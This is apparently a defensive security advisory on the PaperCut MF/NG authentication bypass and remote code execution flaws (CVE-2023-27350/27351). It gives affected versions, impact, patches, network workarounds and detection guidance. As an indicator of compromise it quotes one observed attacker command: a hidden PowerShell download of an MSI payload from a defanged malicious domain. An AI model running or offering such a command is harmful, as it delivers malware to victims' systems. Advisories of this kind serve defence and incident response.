Full Report
Our team is tracking in-the-wild exploitation of zero-day vulnerabilities against PaperCut MF/NG which allow for unauthenticated remote code execution due to an authentication bypass.
Analysis Summary
# Vulnerability: PaperCut MF/NG Authentication Bypass and Remote Code Execution
## CVE Details
- **CVE ID:** CVE-2023-27350 (Primary RCE chain), CVE-2023-27351
- **CVSS Score:** 9.8 (Critical) / 8.2 (High)
- **CWE:** Improper Access Control (leading to Authentication Bypass)
## Affected Systems
- **Products:** PaperCut MF, PaperCut NG
- **Versions:**
- Version 8.0 and above
- All versions prior to 20.1.7, 21.2.11, or 22.0.9
- **Configurations:** Systems running the PaperCut Application Server (Windows and macOS). Exposure is significantly higher for servers accessible via the public internet (default port 9191).
## Vulnerability Description
The flaw is an authentication bypass vulnerability in the PaperCut Application Server. An unauthenticated attacker can exploit this bypass to gain administrative access to the application’s management interface. Once administrative access is obtained, the attacker can leverage built-in features (such as scripting or printer management tools) to execute arbitrary code. On Windows systems, this code executes in the context of the **NT AUTHORITY\SYSTEM** account, granting full control over the host.
## Exploitation
- **Status:** **Exploited in the wild.** Zero-day activity was observed as early as April 16, 2023. Attackers have been seen deploying crypto-miners and other malware.
- **Complexity:** Low
- **Attack Vector:** Network (Remote)
- **PoC Availability:** Available (Recreated and verified by Huntress researchers).
## Impact
- **Confidentiality:** Total (Full access to server data and print logs)
- **Integrity:** Total (Ability to modify system files and application settings)
- **Availability:** Total (Ability to shut down services or deploy destructive malware)
## Remediation
### Patches
Upgrade PaperCut MF/NG to the following versions or later:
- **20.1.7**
- **21.2.11**
- **22.0.9**
### Workarounds
- **Network Filtering:** Restrict access to the PaperCut management interface (port 9191 by default) so it is not reachable from the public internet.
- **Access Control:** Implement firewall rules to allow only trusted IP addresses to communicate with the Application Server.
## Detection
- **Indicators of Compromise (IoCs):**
- Child processes of PaperCut software (e.g., `pc-app.exe`) spawning `cmd.exe` or `powershell.exe`.
- Observed malicious command: `cmd /c "powershell.exe -nop -w hidden Invoke-WebRequest 'hXXp://upd488[.]windowservicecemter[.]com/download/setup.msi' -OutFile 'setup.msi'"`
- File Hash (setup.msi): `f9947c5763542b3119788923977153ff8ca807a2e535e6ab28fc42641983aabb`
- **Detection Methods:**
- Monitor application logs for unusual administrative logins from unexpected IP addresses.
- Use EDR/SIEM tools to alert on suspicious process trees originating from PaperCut service binaries.
## References
- PaperCut Security Advisory: [hXXps://www.papercut[.]com/kb/Main/PO-1216-and-PO-1219]
- Huntress Blog: [hXXps://www.huntress[.]com/blog/critical-vulnerabilities-in-papercut-print-management-software]
- ZDI Advisory: [hXXps://www.zerodayinitiative[.]com/advisories/ZDI-23-232/]